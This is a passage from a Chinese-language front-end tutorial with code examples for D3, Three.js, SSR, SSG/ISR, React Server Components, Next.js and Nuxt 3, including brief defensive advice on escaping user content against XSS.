    // D3 操作 DOM(在 useEffect 中,不和 React 冲突)
    svg.selectAll('rect')
      .data(data)
      .join('rect')
      .attr('x', d => x(d.name))
      .attr('y', d => y(d.value))
      .attr('width', x.bandwidth())
      .attr('height', d => height - margin - y(d.value))
      .attr('fill', '#2563eb')
      .on('mouseover', function() { d3.select(this).attr('fill', '#1d4ed8') })
      .on('mouseout', function() { d3.select(this).attr('fill', '#2563eb') })

    // 坐标轴
    svg.append('g')
      .attr('transform', `translate(0,${height - margin})`)
      .call(d3.axisBottom(x))
    svg.append('g')
      .attr('transform', `translate(${margin},0)`)
      .call(d3.axisLeft(y))

    // 清理
    return () => svg.selectAll('*').remove()
  }, [data])

  return <svg ref={svgRef} width="600" height="400" />
}
D3 vs ECharts 怎么选

1)标准图表(柱状图、折线图、饼图)→ 用 ECharts,开箱即用;2)需要高度定制化的可视化(自定义交互、复杂动画、非标准图表)→ 用 D3;3)两者可以共存——ECharts 做标准图表,D3 做特殊效果。

55. 3D 与 WebGL Three.js

Three.js 是最流行的 WebGL 库,让你用 JavaScript 在浏览器中创建 3D 场景。WebGL 是浏览器原生的 3D 图形 API,但直接用它写代码非常复杂——Three.js 把它封装成了易用的 API。

一个类比

WebGL 就像汇编语言——强大但难用。Three.js 就像 JavaScript——在汇编之上封装了易用的 API。你不需要手动处理顶点着色器、片元着色器,只需要创建"场景"、放入"物体"、设置"灯光"和"相机",Three.js 帮你渲染。

Three.js 核心概念

// Three.js 的三大要素:场景(Scene)、相机(Camera)、渲染器(Renderer)

import * as THREE from 'three'

// 1. 场景:所有物体的容器
const scene = new THREE.Scene()
scene.background = new THREE.Color(0xf0f0f0)

// 2. 相机:决定你从哪个角度"看"场景
const camera = new THREE.PerspectiveCamera(
  75,                                    // 视角(FOV)
  window.innerWidth / window.innerHeight, // 宽高比
  0.1,                                   // 近裁剪面
  1000                                   // 远裁剪面
)
camera.position.z = 5  // 相机位置

// 3. 渲染器:把场景画到屏幕上
const renderer = new THREE.WebGLRenderer({ antialias: true })
renderer.setSize(window.innerWidth, window.innerHeight)
renderer.setPixelRatio(window.devicePixelRatio)
document.body.appendChild(renderer.domElement)

// 4. 添加物体
const geometry = new THREE.BoxGeometry(1, 1, 1)      // 几何体
const material = new THREE.MeshStandardMaterial({     // 材质
  color: 0x2563eb,
  roughness: 0.5,
  metalness: 0.5
})
const cube = new THREE.Mesh(geometry, material)       // 网格 = 几何体 + 材质
scene.add(cube)

// 5. 添加灯光
const ambientLight = new THREE.AmbientLight(0xffffff, 0.5)  // 环境光
scene.add(ambientLight)

const pointLight = new THREE.PointLight(0xffffff, 1)        // 点光源
pointLight.position.set(5, 5, 5)
scene.add(pointLight)

// 6. 动画循环
function animate() {
  requestAnimationFrame(animate)
  cube.rotation.x += 0.01
  cube.rotation.y += 0.01
  renderer.render(scene, camera)
}
animate()

// 7. 响应窗口大小变化
window.addEventListener('resize', () => {
  camera.aspect = window.innerWidth / window.innerHeight
  camera.updateProjectionMatrix()
  renderer.setSize(window.innerWidth, window.innerHeight)
})

React 中使用:React Three Fiber

// React Three Fiber(R3F):用 React 组件的方式写 Three.js
// 安装:pnpm add three @react-three/fiber @react-three/drei

import { Canvas, useFrame } from '@react-three/fiber'
import { OrbitControls, Environment } from '@react-three/drei'

// 3D 组件
function RotatingBox() {
  const meshRef = useRef()

  // 每帧旋转
  useFrame((state, delta) => {
    meshRef.current.rotation.x += delta
    meshRef.current.rotation.y += delta * 0.5
  })

  return (
    <mesh ref={meshRef}>
      <boxGeometry args={[1, 1, 1]} />
      <meshStandardMaterial color="#2563eb" />
    </mesh>
  )
}

// 场景
function App() {
  return (
    <Canvas camera={{ position: [0, 0, 5] }}>
      <ambientLight intensity={0.5} />
      <pointLight position={[10, 10, 10]} />
      <RotatingBox />
      <OrbitControls />          {/* 鼠标拖拽旋转视角 */}
      <Environment preset="sunset" />  {/* 环境光照 */}
    </Canvas>
  )
}

// R3F 的优势:
// 1. 声明式——用 JSX 描述 3D 场景
// 2. React 生态——可以用 hooks、context、suspense
// 3. drei 库——提供现成的组件(OrbitControls、Environment、Text3D)
// 4. 性能——自动处理渲染循环和内存管理
Three.js 使用场景

1)产品 3D 展示(电商商品 360° 旋转);2)数据可视化(3D 地图、地球、热力图);3)创意交互(粒子效果、背景动画);4)游戏(简单的 Web 游戏);5)建筑/室内设计预览。注意:3D 场景对性能要求高,移动端需要优化(降低多边形数量、压缩纹理)。

第八部分 · 现代前端架构

56. SSR 服务端渲染

SSR(Server-Side Rendering)在服务器上把 React/Vue 组件渲染成 HTML 字符串,发送给浏览器。浏览器直接显示 HTML,然后加载 JS"接管"页面(hydration)。

一个类比

SPA(客户端渲染)像外卖——你点餐后,厨师在厨房做好(服务器返回数据),骑手送到你家(浏览器下载 JS),你在家里把菜装盘(JS 渲染页面)。等很久才能吃。SSR 像堂食——厨师在厨房直接装好盘(服务器渲染 HTML),端上来就能吃(浏览器直接显示)。快很多。

SSR vs CSR 对比

特性CSR(客户端渲染)SSR(服务端渲染)
首屏速度慢(等 JS 下载执行)快(HTML 直出)
SEO差(爬虫看到空页面)好(爬虫看到完整 HTML)
交互时间(TTI)快(JS 已加载)稍慢(需要 hydration)
服务器压力小(只返回静态文件)大(每次请求都要渲染)
开发复杂度低高(需处理服务端兼容)
适用场景后台管理系统、工具类电商、新闻、内容类网站

SSR 工作流程

// SSR 的完整流程:

// 1. 用户请求页面(如 /products)
// 2. 服务器接收请求
// 3. 服务器获取数据(查询数据库、调用 API)
// 4. 服务器执行 React/Vue 组件,生成 HTML 字符串
// 5. 服务器返回完整 HTML(用户立刻看到内容)
// 6. 浏览器加载 JS 文件
// 7. JS "接管"页面(hydration)——绑定事件、激活交互
// 8. 页面变成可交互的 SPA

// Hydration(注水):
// 服务器返回的 HTML 是"静态"的(没有事件、没有交互)
// JS 加载后,React/Vue 在客户端"激活"这些 HTML
// 把事件监听器、状态管理等"注入"到已有的 DOM 中
// 这个过程叫 hydration(注水)

Next.js SSR 实现

// Next.js App Router(2026 年标准)
// 默认所有组件都是 Server Component(在服务器运行)

// app/products/page.tsx
export default async function ProductsPage() {
  // 这段代码在服务器执行,不会发送到客户端
  const products = await fetch('https://api.example.com/products', {
    cache: 'no-store'  // 每次请求都获取最新数据
  }).then(r => r.json())

  return (
    <div>
      <h1>商品列表</h1>
      {products.map(p => <ProductCard key={p.id} product={p} />)}
    </div>
  )
}

// 需要交互的组件用 'use client'
'use client'
function AddToCartButton({ productId }) {
  const [loading, setLoading] = useState(false)
  return (
    <button onClick={() => addToCart(productId)} disabled={loading}>
      {loading ? '添加中...' : '加入购物车'}
    </button>
  )
}

// SSR 的注意事项:
// 1. 服务器代码不能用 useState、useEffect、onClick 等客户端 API
// 2. 服务器代码可以直接访问数据库、文件系统、环境变量
// 3. 'use client' 标记的组件才会发送 JS 到客户端
// 4. Server Component 和 Client Component 可以嵌套使用
SSR 的代价

1)服务器压力大——每次请求都要渲染 HTML,需要服务器有足够资源;2)TTFB 可能慢——如果服务器获取数据慢,用户要等更久;3)Hydration 成本——JS 加载后要"激活"页面,期间页面可能暂时不可交互;4)开发复杂度高——代码要同时在服务器和客户端运行,有些 API 只在一方可用。

Hydration Mismatch 调试技巧

// Hydration Mismatch:服务端 HTML 与客户端首次渲染不一致
// 常见原因及解决方案:

// 1. 使用了浏览器专属 API
// ❌ 服务端没有 window/document
function Bad() {
  return <div>宽度: {window.innerWidth}</div>
}
// ✅ 用 useEffect 延迟到客户端执行
function Good() {
  const [width, setWidth] = useState(0)
  useEffect(() => setWidth(window.innerWidth), [])
  return <div>宽度: {width}</div>
}

// 2. 时间格式不一致(服务端和客户端时区不同)
// ✅ 统一用 ISO 格式或延迟格式化
useEffect(() => {
  setDate(new Date().toLocaleDateString())
}, [])

// 3. 调试方法:在 React 中设置
// __NEXT_DATA__ 的 debug 属性,或开启 React StrictMode
// 控制台会打印具体不匹配的 DOM 节点

Streaming SSR(流式渲染)

// 传统 SSR:服务器渲染完所有 HTML 才开始传输
// Streaming SSR:边渲染边传输,先到的先显示

// Node.js 实现流式 SSR
import { renderToPipeableStream } from 'react-dom/server'

app.get('/page', (req, res) => {
  const { pipe, abort } = renderToPipeableStream(
    <App />,
    {
      bootstrapScripts: ['/client.js'],
      onShellReady() {
        // Shell(外层骨架)渲染完成,开始流式传输
        res.statusCode = 200
        res.setHeader('Content-Type', 'text/html')
        pipe(res)
      },
      onError(err) {
        console.error(err)
        res.statusCode = 500
      }
    }
  )
  // 超时保护:5 秒后中止
  setTimeout(abort, 5000)
})

// React 18 的 <Suspense> 配合 Streaming SSR:
// 服务端先发送 fallback(加载骨架屏)
// 数据就绪后,服务器通过 <script> 标签"注入"真实内容
// 浏览器无需刷新页面即可替换骨架屏

Selective Hydration(选择性注水)

// 传统 Hydration:整个页面一次性注水,阻塞交互
// Selective Hydration:各组件独立注水,高优先级组件先交互

import { lazy, Suspense } from 'react'

// 用 <Suspense> 划分注水边界
function App() {
  return (
    <div>
      <Header />             {/* 立即注水,优先交互 */}
      <Suspense fallback={<Spinner />}>
        <HeavyComments />    {/* 延迟注水,不阻塞头部交互 */}
      </Suspense>
      <Suspense fallback={<Skeleton />}>
        <RecommendedList />  {/* 独立注水 */}
      </Suspense>
    </div>
  )
}

// 效果:用户点击 Header 的按钮时
// 即使 Comments 还在加载 JS,Header 也能立即响应
// 这大幅降低了 TTI(Time to Interactive)

SSR 数据预取与 XSS 防御

// SSR 数据预取:服务端在渲染前获取数据,注入到 HTML 中
// 客户端 hydration 时直接使用,避免重复请求

// Next.js 的做法:Server Component 中直接 await fetch()
// 数据在服务端渲染时获取,不会暴露 API 地址给客户端

// ⚠️ XSS 防御关键点:
// 1. 服务端渲染的用户内容必须转义
import { escape } from 'html-escaper'

function UserComment({ comment }) {
  // ❌ 直接注入用户内容(XSS 风险)
  // return <div dangerouslySetInnerHTML={{ __html: comment }} />

  // ✅ React 默认会转义 JSX 中的文本内容
  return <div>{comment}</div>  // 自动转义 <script> 等
}

// 2. 避免将未转义的 JSON 直接嵌入 HTML
// ❌ 危险:用户输入可能包含 </script>
// <script>window.__DATA__ = {userInput}</script>

// ✅ 安全:用 JSON.stringify + 转义
const safeData = JSON.stringify(serverData)
  .replace(/</g, '\\u003c')
  .replace(/>/g, '\\u003e')
  .replace(/&/g, '\\u0026')

// 3. 设置 CSP 响应头,禁止内联脚本执行
// Content-Security-Policy: script-src 'self'
SSR 安全清单

1)所有用户输入在渲染前必须转义——React JSX 默认处理,但 dangerouslySetInnerHTML 要手动转义;2)JSON 数据嵌入 HTML 时转义 < > & 防止脚本注入;3)设置 CSP 响应头限制脚本来源;4)API 密钥只在 Server Component 中使用,不要传给 Client Component。

57. SSG 静态站点生成

SSG(Static Site Generation)在构建时生成所有页面的 HTML 文件。用户访问时,服务器直接返回预生成的 HTML——不需要实时渲染,速度极快。适合内容不经常变化的网站(博客、文档、营销页、产品展示页)。

一个类比

SSR 是"现做现卖"——用户点餐后厨师才开始做。SSG 是"提前做好"——早上开门前就把所有菜做好了,用户来了直接端上来。SSG 速度最快,但菜凉了(数据可能过时)——需要 ISR 来"热菜"。

SSG vs SSR vs CSR

特性CSRSSRSSG
HTML 生成时机浏览器端请求时(服务器)构建时
首屏速度慢快最快(CDN 缓存)
数据新鲜度实时实时构建时的快照
服务器压力小大无(纯静态文件)
适用场景后台管理电商、社交博客、文档、营销页

Next.js SSG 实现

// Next.js App Router 中,静态生成是默认行为
// 如果组件不依赖动态数据,Next.js 自动在构建时生成 HTML

// app/about/page.tsx(静态页面)
export default function AboutPage() {
  return (
    <div>
      <h1>关于我们</h1>
      <p>这是一家专注于前端教育的公司</p>
    </div>
  )
}
// 构建时生成 about.html,用户访问时直接返回

// 带数据的静态页面
export default async function BlogPage({ params }) {
  const post = await fetch(`https://api.example.com/posts/${params.id}`).then(r => r.json())
  return (
    <article>
      <h1>{post.title}</h1>
      <p>{post.content}</p>
    </article>
  )
}

// 告诉 Next.js 需要生成哪些页面
export async function generateStaticParams() {
  const posts = await fetch('https://api.example.com/posts').then(r => r.json())
  return posts.map(post => ({ id: String(post.id) }))
}
// 构建时为每篇文章生成一个 HTML 文件

ISR(增量静态再生)

// ISR:构建后仍能更新静态页面
// 用户访问时,如果页面"过期"了,服务器先返回旧页面,后台重新生成新页面

// Next.js ISR
export default async function ProductPage({ params }) {
  const product = await fetch(`https://api.example.com/products/${params.id}`).then(r => r.json())
  return <div><h1>{product.name}</h1></div>
}

// 设置重新验证时间
export const revalidate = 60  // 每 60 秒重新生成一次

// 按需重新验证(当数据变化时)
// API 路由中调用 revalidatePath('/products')
export async function POST(request) {
  // 数据更新后,触发重新验证
  revalidatePath('/products')
  return Response.json({ revalidated: true })
}
SSG 的核心优势

1)速度极快——纯静态文件,可以部署到 CDN,全球访问都快;2)零服务器成本——不需要 Node.js 服务器,Vercel/Netlify/Cloudflare Pages 免费托管;3)高可用——即使后端挂了,已生成的页面仍然可以访问;4)SEO 友好——爬虫看到完整的 HTML。

ISR 深入:按需与定时再生

// 定时 ISR:按时间间隔自动重新生成
// app/blog/[slug]/page.tsx
export const revalidate = 3600  // 每小时重新生成

// 按需 ISR:通过 Webhook 触发(CMS 数据更新时自动再生)
// app/api/revalidate/route.ts
import { revalidatePath, revalidateTag } from 'next/cache'

export async function POST(request) {
  const { path, tag, secret } = await request.json()
  if (secret !== process.env.REVALIDATE_SECRET) {
    return Response.json({ error: 'Invalid secret' }, { status: 401 })
  }
  if (path) revalidatePath(path)       // 重新生成指定路径
  if (tag) revalidateTag(tag)          // 重新生成所有使用该 tag 的页面
  return Response.json({ revalidated: true, time: Date.now() })
}

// 带 Tag 的数据获取(批量失效)
async function getPosts() {
  const res = await fetch('https://cms.example.com/posts', {
    next: { tags: ['posts'] }  // 打上 tag
  })
  return res.json()
}
// CMS Webhook 调用 revalidateTag('posts') 时,所有依赖该 tag 的页面同时更新

大规模站点的构建优化

// 问题:10000 个页面的站点,构建需要 30 分钟
// 优化策略:

// 1. 增量构建——只重建变化的页面(搭配增量缓存)
// next.config.js
module.exports = {
  experimental: {
    incrementalCacheHandlerPath: require.resolve('./cache-handler.js')
  }
}

// 2. 并行数据获取——不要串行等待
// ❌ 串行:总共 3 秒
const posts = await fetch('/api/posts')     // 1 秒
const tags = await fetch('/api/tags')       // 1 秒
const user = await fetch('/api/user')       // 1 秒

// ✅ 并行:总共 1 秒
const [posts, tags, user] = await Promise.all([
  fetch('/api/posts'), fetch('/api/tags'), fetch('/api/user')
])

// 3. 限制 generateStaticParams 返回数量——只预生成热门页面
export async function generateStaticParams() {
  const posts = await fetch('https://cms.example.com/posts').then(r => r.json())
  return posts.filter(p => p.views > 1000).map(p => ({ slug: p.slug }))
}

Fallback 策略(Pages Router 遗留概念)

// Next.js Pages Router 的三种 fallback 模式
// App Router 中用 loading.tsx + Suspense 替代

// fallback: false —— 未预生成的路径直接 404
// 适用:页面数量有限,构建时全部生成
export async function getStaticPaths() {
  return { paths: ['/post/1', '/post/2'], fallback: false }
}

// fallback: true —— 未预生成的页面先返回骨架,后台生成后替换
// 适用:页面数量大,只预生成热门页面
export async function getStaticPaths() {
  return { paths: ['/post/1'], fallback: true }
}
// 组件中需处理 loading 状态
export default function Post({ post }) {
  const router = useRouter()
  if (router.isFallback) return <div>加载中...</div>
  return <article>{post.title}</article>
}

// fallback: 'blocking' —— 未预生成的页面由服务器渲染后返回
// 适用:SEO 要求严格,不能返回骨架屏
export async function getStaticPaths() {
  return { paths: ['/post/1'], fallback: 'blocking' }
}
// 用户无感知,但首次访问较慢,后续访问走缓存

Headless CMS 集成

// Headless CMS:只提供数据 API,不提供前端模板
// 常见选择:Contentful、Sanity、Strapi(自托管)、Keystatic(本地 Git)

// 以 Sanity 为例:构建时从 CMS 拉取数据生成静态页面
// app/blog/[slug]/page.tsx
import { client } from '@/sanity/lib/client'

export async function generateStaticParams() {
  const slugs = await client.fetch('*[_type=="post"]{slug}')
  return slugs.map(s => ({ slug: s.slug.current }))
}

export default async function BlogPost({ params }) {
  const post = await client.fetch(
    '*[_type=="post" && slug.current==$slug][0]{title, body, publishedAt}',
    { slug: params.slug }
  )
  return (
    <article>
      <h1>{post.title}</h1>
      <time>{post.publishedAt}</time>
      <PortableText value={post.body} />
    </article>
  )
}

// Webhook 工作流:编辑在 CMS 发布 → CMS 调用 Webhook → 触发按需 ISR
// 无需重新部署,页面自动更新
CMS + SSG 最佳实践

1)用 Webhook 触发按需 ISR,避免手动重新部署;2)给数据获取打 Tag(next.tags),实现批量失效;3)generateStaticParams 只返回热门页面,其余用 Fallback 按需生成;4)构建时用 Promise.all 并行拉取多个 CMS 数据源,缩短构建时间。

58. React Server Components

React Server Components(RSC)是 React 19 的核心特性——组件默认在服务器上运行,只有需要交互的组件才在客户端运行。这大幅减少了发送到浏览器的 JS 量,提升了首屏性能。

一个类比

传统 React 像是把整个厨房搬到用户家(所有 JS 都在浏览器运行)。RSC 像是厨房留在餐厅(服务器),只把"需要加热的菜"(交互组件)送到用户家。大部分"冷菜"(静态内容)在厨房就装好盘了(服务器渲染),不需要送到用户家再加工。

Server Component vs Client Component

// Server Component(默认):在服务器运行
// ✅ 可以:访问数据库、读文件、用环境变量、async/await
// ❌ 不能:useState、useEffect、onClick、浏览器 API

async function ProductList() {
  const products = await db.query('SELECT * FROM products')
  return (
    <div>
      {products.map(p => <ProductCard key={p.id} product={p} />)}
    </div>
  )
}

// Client Component:在浏览器运行
// ✅ 可以:useState、useEffect、onClick、浏览器 API
// ❌ 不能:直接访问数据库、读文件

'use client'
function AddToCartButton({ productId }) {
  const [loading, setLoading] = useState(false)
  return (
    <button onClick={() => addToCart(productId)} disabled={loading}>
      {loading ? '添加中...' : '加入购物车'}
    </button>
  )
}

// 组合使用:Server Component 可以包含 Client Component
async function ProductPage({ id }) {
  const product = await db.query('SELECT * FROM products WHERE id = ?', [id])
  return (
    <div>
      <h1>{product.name}</h1>           {/* 服务器渲染,不发 JS */}
      <p>{product.description}</p>       {/* 服务器渲染,不发 JS */}
      <AddToCartButton productId={product.id} />  {/* 只有这个发 JS */}
    </div>
  )
}

RSC 的核心优势

// 1. 客户端 JS 大幅减少
// 传统:整个页面的组件 JS 都发送到浏览器(500KB)
// RSC:只有 'use client' 的组件发送 JS(50KB)

// 2. 不需要 API 层
// 传统:前端 → API → 数据库 → API → 前端
// RSC:组件直接查数据库(减少一次网络往返)

// 3. 自动代码分割
// Server Component 的依赖(如 marked、prisma)不会打包到客户端

// 4. 安全性
// 数据库密码、API 密钥只在服务器上,不会泄露到客户端

何时用 Server / Client

场景用 Server用 Client
展示数据✅❌
访问数据库✅❌
表单交互❌✅
useState / useEffect❌✅
事件处理(onClick)❌✅
浏览器 API❌✅
RSC 的核心优势

1)客户端 JS 大幅减少——只有 'use client' 的组件才会发送 JS 到浏览器;2)可以直接访问数据库——不需要 API 层;3)自动代码分割——Server Component 的依赖不会打包到客户端 bundle;4)安全性更好——敏感信息只在服务器上。

RSC 序列化限制

// Server Component 传递给 Client Component 的 props 必须可序列化
// 不可序列化的数据无法从服务端传到客户端

// ❌ 不能传递:函数
function ServerPage() {
  const handleClick = () => console.log('clicked')  // 函数不能序列化
  return <ClientButton onClick={handleClick} />      // 报错!
}

// ❌ 不能传递:类实例
function ServerPage() {
  const date = new Date()          // Date 对象不能序列化
  const regex = /hello/gi          // RegExp 不能序列化
  return <ClientDisplay data={date} pattern={regex} />  // 报错!
}

// ✅ 可以传递:原始类型、普通对象、数组
function ServerPage() {
  const product = { name: '手机', price: 2999 }     // 普通对象 OK
  const tags = ['推荐', '新品']                      // 数组 OK
  return <ClientCard product={product} tags={tags} />
}

// ✅ 解决方案:把函数放在 Client Component 内部
'use client'
function ClientButton({ label }) {
  const handleClick = () => console.log('clicked')  // 函数在客户端定义
  return <button onClick={handleClick}>{label}</button>
}

// ✅ 或用 Server Action 代替回调
// app/actions.ts
'use server'
export async function addToCart(productId) {
  await db.insert(cart, { productId })
}

// Server Component 中传递 action
<AddToCartButton action={addToCart} productId={product.id} />

Suspense 流式渲染

// RSC 支持流式渲染:先发送页面骨架,数据加载完再填充
// 用 Suspense 定义"加载边界"

import { Suspense } from 'react'

export default async function ProductPage() {
  return (
    <div>
      <h1>商品详情</h1>
      {/* Header 立即渲染,不等待评论数据 */}
      <Suspense fallback={<div className="skeleton">加载评论中...</div>}>
        <Comments />        {/* 这个组件单独流式传输 */}
      </Suspense>
      <Suspense fallback={<div className="skeleton">加载推荐中...</div>}>
        <Recommendations /> {/* 另一个独立的流式块 */}
      </Suspense>
    </div>
  )
}

// 每个 Suspense 边界独立加载,互不阻塞
// 用户先看到页面骨架 + 加载提示,评论和推荐分别到达后自动替换

// loading.tsx(Next.js 语法糖,自动包裹 Suspense)
// app/products/[id]/loading.tsx
export default function Loading() {
  return <div className="skeleton">商品加载中...</div>
}
// 等价于自动在 page.tsx 外层包裹 Suspense

// 嵌套 Suspense:逐级流式加载
<Suspense fallback={<LayoutSkeleton />}>
  <Layout>
    <Suspense fallback={<SidebarSkeleton />}>
      <Sidebar />
    </Suspense>
    <Suspense fallback={<ContentSkeleton />}>
      <MainContent />
    </Suspense>
  </Layout>
</Suspense>

RSC 错误处理(error.tsx)

// Next.js App Router 用 error.tsx 捕获路由段内的错误
// error.tsx 必须是 Client Component(需要 'use client')

// app/dashboard/error.tsx
'use client'

export default function DashboardError({ error, reset }) {
  return (
    <div className="error-container">
      <h2>仪表盘加载失败</h2>
      <p>{error.message}</p>
      <button onClick={() => reset()}>重试</button>
    </div>
  )
}
// reset() 会重新渲染 error.tsx 包裹的路由段

// 嵌套错误处理:每个路由段独立的 error.tsx
// app/
//   layout.tsx
//   error.tsx          → 捕获根布局下的错误
//   dashboard/
//     error.tsx        → 只捕获 dashboard 段的错误
//     settings/
//       error.tsx      → 只捕获 settings 段的错误

// 全局未捕获错误:app/global-error.tsx
'use client'

export default function GlobalError({ error, reset }) {
  return (
    <html>
      <body>
        <h1>应用出错了</h1>
        <p>{error.message}</p>
        <button onClick={reset}>重试</button>
      </body>
    </html>
  )
}
// 注意:global-error.tsx 必须包含 <html> 和 <body> 标签
// 因为它会替换整个根布局

// notFound() 处理 404
import { notFound } from 'next/navigation'

export default async function ProductPage({ params }) {
  const product = await db.query('SELECT * FROM products WHERE id = ?', [params.id])
  if (!product) notFound()   // 触发最近的 not-found.tsx
}
// app/not-found.tsx 或 app/dashboard/not-found.tsx

59. 全栈框架 Next.js

Next.js 是 React 的全栈框架,2026 年 React 开发的默认选择。

// App Router(2026 年标准)
// app/layout.tsx(根布局)
export default function RootLayout({ children }) {
  return (
    <html lang="zh-CN">
      <body>{children}</body>
    </html>
  )
}

// app/page.tsx(首页 - Server Component)
export default async function HomePage() {
  const data = await fetch('https://api.example.com/data').then(r => r.json())
  return <main><h1>{data.title}</h1></main>
}

// app/api/users/route.ts(API 路由)
export async function GET() {
  const users = await db.query('SELECT * FROM users')
  return Response.json(users)
}

export async function POST(request) {
  const body = await request.json()
  const user = await db.insert(users).values(body)
  return Response.json(user, { status: 201 })
}

// app/users/[id]/page.tsx(动态路由)
export default async function UserPage({ params }) {
  const user = await db.query('SELECT * FROM users WHERE id = ?', [params.id])
  if (!user) return notFound()
  return <div><h1>{user.name}</h1></div>
}

// 中间件 middleware.ts(请求拦截)
import { NextResponse } from 'next/server'
export function middleware(request) {
  const token = request.cookies.get('token')
  if (!token && request.nextUrl.pathname.startsWith('/admin')) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
}

// 图片优化
import Image from 'next/image'
<Image src="/photo.jpg" width={800} height={600} alt="照片" priority />
// 自动:WebP/AVIF 转换、懒加载、响应式尺寸

缓存策略

// Next.js fetch 默认缓存结果,可通过选项精细控制
// 1. 基于时间的重新验证
const data = await fetch('https://api.example.com/posts', {
  next: { revalidate: 60 }  // 每 60 秒重新验证一次
})

// 2. 缓存标签 —— 按标签批量失效
const posts = await fetch('https://api.example.com/posts', {
  next: { tags: ['posts', 'blog'] }
})
// 在 API 路由或 Server Action 中按标签失效
import { revalidateTag } from 'next/cache'
export async function POST(request) {
  await db.insert(posts).values(await request.json())
  revalidateTag('posts')  // 所有标记了 'posts' 的缓存全部失效
}

// 3. 按路径失效
import { revalidatePath } from 'next/cache'
revalidatePath('/blog')  // 重新生成 /blog 页面

// 4. 完全不缓存
const res = await fetch('https://api.example.com/live', {
  cache: 'no-store'
})

Parallel Routes(并行路由)

// 并行路由:同一页面同时渲染多个独立页面段
// 文件结构:
// app/
//   layout.tsx        → 定义 @analytics 和 @team 插槽
//   @analytics/
//     page.tsx        → 分析面板
//   @team/
//     page.tsx        → 团队信息
//   page.tsx          → 主内容

// app/layout.tsx
export default function Layout({
  children,
  analytics,
  team,
}: {
  children: React.ReactNode
  analytics: React.ReactNode
  team: React.ReactNode
}) {
  return (
    <div className="grid grid-cols-3 gap-4">
      <main>{children}</main>
      <aside>{analytics}</aside>
      <aside>{team}</aside>
    </div>
  )
}
// 优势:每个插槽独立加载、独立错误处理(error.tsx)、独立加载状态(loading.tsx)

Intercepting Routes(路由拦截 — Modal 模式)

// 场景:点击照片列表 → 弹出 Modal 预览 → 刷新页面则显示完整详情页
// 文件结构:
// app/
//   feed/
//     page.tsx                        → 照片列表
//     (..)photo/[id]/page.tsx         → 拦截:在 Feed 页内以 Modal 显示
//   photo/[id]/page.tsx               → 直接访问:完整详情页

// app/feed/page.tsx — 照片列表
import Link from 'next/link'
export default function Feed() {
  return photos.map(p => (
    <Link href={`/photo/${p.id}`} key={p.id}>
      <img src={p.url} alt={p.title} />
    </Link>
  ))
}

// app/feed/(..)photo/[id]/page.tsx — 拦截版本(Modal)
export default function PhotoModal({ params }) {
  return (
    <div className="fixed inset-0 bg-black/50 flex items-center justify-center">
      <div className="bg-white rounded-xl p-6 max-w-lg">
        <PhotoDetail id={params.id} />
      </div>
    </div>
  )
}
// 用户点击 → Modal 弹出(URL 变为 /photo/1)→ 刷新页面 → 显示完整详情页

Server Actions 深入

// Server Actions:在 Server Component 中直接定义可调用的函数,无需手写 API
// 'use server' 标记表示该函数只在服务端执行

// app/actions.ts
'use server'
import { revalidatePath } from 'next/cache'

export async function createPost(formData: FormData) {
  const title = formData.get('title') as string
  const content = formData.get('content') as string
  await db.insert(posts).values({ title, content })
  revalidatePath('/blog')  // 刷新缓存
}

export async function deletePost(id: number) {
  await db.delete(posts).where(eq(posts.id, id))
  revalidatePath('/blog')
}

// 在 Server Component 中使用
export default function NewPostPage() {
  return (
    <form action={createPost}>
      <input name="title" placeholder="标题" required />
      <textarea name="content" placeholder="内容" />
      <button type="submit">发布</button>
    </form>
  )
}

// 在 Client Component 中使用
'use client'
import { deletePost } from './actions'
export function DeleteButton({ id }: { id: number }) {
  return <button onClick={() => deletePost(id)}>删除</button>
}
Server Actions vs API Routes

Server Actions 适合表单提交、数据变更等单向操作,代码更简洁且自动处理序列化。API Routes 适合需要被外部调用的接口、Webhook、或需要精细控制响应头的场景。两者可以共存——简单表单用 Server Actions,复杂接口用 API Routes。

60. 全栈框架 Nuxt 3

Nuxt 3 是 Vue 的全栈框架,相当于 Vue 生态中的 Next.js。它提供了 SSR/SSG、文件系统路由、API 路由、自动导入等特性,让 Vue 开发者也能构建全栈应用。

一个类比

如果 Vue 是一辆汽车,Nuxt 就是给这辆车装上了导航(路由)、后备箱(状态管理)、行车记录仪(SEO)。你不需要自己组装这些配件,Nuxt 帮你装好了。

核心特性

// 创建项目
// npx nuxi@latest init my-app
// cd my-app && pnpm install && pnpm dev

// 1. 自动导入(不需要手动 import)
// ref、computed、watch、useFetch 等自动可用
<script setup>
const count = ref(0)           // 不需要 import { ref } from 'vue'
const doubled = computed(() => count.value * 2)
</script>

// 2. 文件系统路由(pages/ 目录自动生成路由)
// pages/index.vue        → /
// pages/about.vue        → /about
// pages/users/[id].vue   → /users/:id
// pages/users/index.vue  → /users

// 3. 布局系统
// layouts/default.vue    → 默认布局
// layouts/admin.vue      → 管理后台布局
<template>
  <NuxtLayout name="admin">
    <NuxtPage />
  </NuxtLayout>
</template>

// 4. 中间件(路由守卫)
// middleware/auth.ts
export default defineNuxtRouteMiddleware((to) => {
  const token = useCookie('token')
  if (!token.value && to.path.startsWith('/admin')) {
    return navigateTo('/login')
  }
})

数据获取与 API 路由

// 数据获取:useFetch(自动处理 SSR/CSR)
<script setup>
// 自动在服务端执行 SSR,在客户端用 fetch
const { data: products, pending, error } = await useFetch('/api/products', {
  query: { page: 1, limit: 10 },
  transform: (data) => data.items  // 转换数据
})

// 响应式 URL 参数
const route = useRoute()
const { data: user } = await useFetch(() => `/api/users/${route.params.id}`)
// URL 变化时自动重新获取
</script>

// API 路由(server/ 目录)
// server/api/products.ts
export default defineEventHandler(async (event) => {
  const query = getQuery(event)  // 获取查询参数
  const products = await db.query('SELECT * FROM products LIMIT ?', [query.limit])
  return products
})

// server/api/products/[id].ts
export default defineEventHandler(async (event) => {
  const id = getRouterParam(event, 'id')
  const product = await db.query('SELECT * FROM products WHERE id = ?', [id])
  if (!product) throw createError({ statusCode: 404, message: 'Not found' })
  return product
})

// POST 请求
export default defineEventHandler(async (event) => {
  const body = await readBody(event)  // 获取请求体
  const product = await db.insert('products', body)
  return product
})

Nuxt 3 模块生态

// nuxt.config.ts
export default defineNuxtConfig({
  modules: [
    '@nuxtjs/tailwindcss',     // Tailwind CSS
    '@pinia/nuxt',              // Pinia 状态管理
    '@nuxtjs/i18n',             // 国际化
    'nuxt-icon',                // 图标
    '@vueuse/nuxt',             // VueUse 工具函数
    '@nuxt/image',              // 图片优化
  ],
  // Nitro 部署目标
  nitro: {
    preset: 'node-server'  // 也可选 'cloudflare-workers'、'vercel'、'netlify'
  }
})

